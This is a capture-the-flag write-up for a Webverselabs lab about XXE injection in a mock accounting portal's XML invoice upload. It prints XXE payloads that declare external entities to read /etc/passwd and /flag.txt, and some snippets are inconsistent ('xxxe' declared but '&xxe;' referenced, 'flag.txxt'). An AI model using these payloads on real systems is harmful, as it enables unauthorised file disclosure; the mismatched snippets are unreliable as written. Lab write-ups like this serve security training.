Webverselabs Margins & Sons CPA Challenge XXE
Scenario :
Margins & Sons CPA has filed quarterlies for mid-sized Cleveland firms since 1986 — three partners, a bullpen of CPAs, and a client portal the senior partner’s nephew stood up in 2003 and has been “good enough” ever since. Clients submit their invoice batches as XML for processing, the receipt screen says “submitted for processing,” and nothing else ever comes back. Whatever the portal does with the file after that is between the portal and the bookkeeper.
Solution :
From browsing the application , we see that we can submit some sort of Invoice in XML format , which is a huge indicator that this challenge is about XXE , now first thing , we should create an account to be able to better explore the application features .
We see that we can submit invoices in an xml format once we are logged in , they even gave us Invoice examples , that we can use .
Now without modifying anything i uploaded the generic Invoice to see what information is returned to us exactly , to see where to inject our reference exactly if we were to do an XXE .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<invoice>
<customer>Brennan Landscape Supply, LLC</customer>
<period>2003-04</period>
<lineItems>
<lineItem>
<sku>MULCH-3CF</sku>
<description>Hardwood mulch, 3 cu. ft. bag</description>
<quantity>144</quantity>
<amount>618.24</amount>
</lineItem>
<lineItem>
<sku>TOPSOIL-1CY</sku>
<description>Screened topsoil, 1 cu. yd.</description>
<quantity>6</quantity>
<amount>204.00</amount>
</lineItem>
</lineItems>
</invoice>
Now , if we go back to our Dashboard we can view the newly submitted invoices .
We see that the field Submitted , Customer are both returned to us , now to test for XXE , i added a new entity inside the DOCTYPE block and referenced it inside the original request to see if it gets referenced , i started simple , replacing the name with something like HELLO_Workssss to see if it gets reflected .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE invoice [
<!ENTITY xxe "HELLO_Workssss">
]>
<invoice>
<customer>&xxe;</customer>
<period>2003-04</period>
<lineItems>
<lineItem>
<sku>MULCH-3CF</sku>
<description>Hardwood mulch, 3 cu. ft. bag</description>
<quantity>144</quantity>
<amount>618.24</amount>
</lineItem>
<lineItem>
<sku>TOPSOIL-1CY</sku>
<description>Screened topsoil, 1 cu. yd.</description>
<quantity>6</quantity>
<amount>204.00</amount>
</lineItem>
</lineItems>
</invoice>
Perfect, it gets reflected back. Now let’s try to see if we can achieve LFI and read /etc/passwd. We can use the SYSTEM keyword which tells the XML parser to fetch external resources — by pointing it to file:///etc/passwd using the file:// protocol, we’re asking the server to read its own local file and return the contents.
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE invoice [
<!ENTITY xxxe SYSTEM "file:///etc/passwd">
]>
<invoice>
<customer>&xxe;</customer>
<period>2003-04</period>
<lineItems>
.....
Perfect , we can read the /etc/passwd . The flag is usually in the root folder : /flag.txt so we just change the entity to file:///flag.txt and read it the same way.
1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE invoice [
<!ENTITY xxxe SYSTEM "file:///flag.txxt">
That was it for this challenge :) . See you in the next one .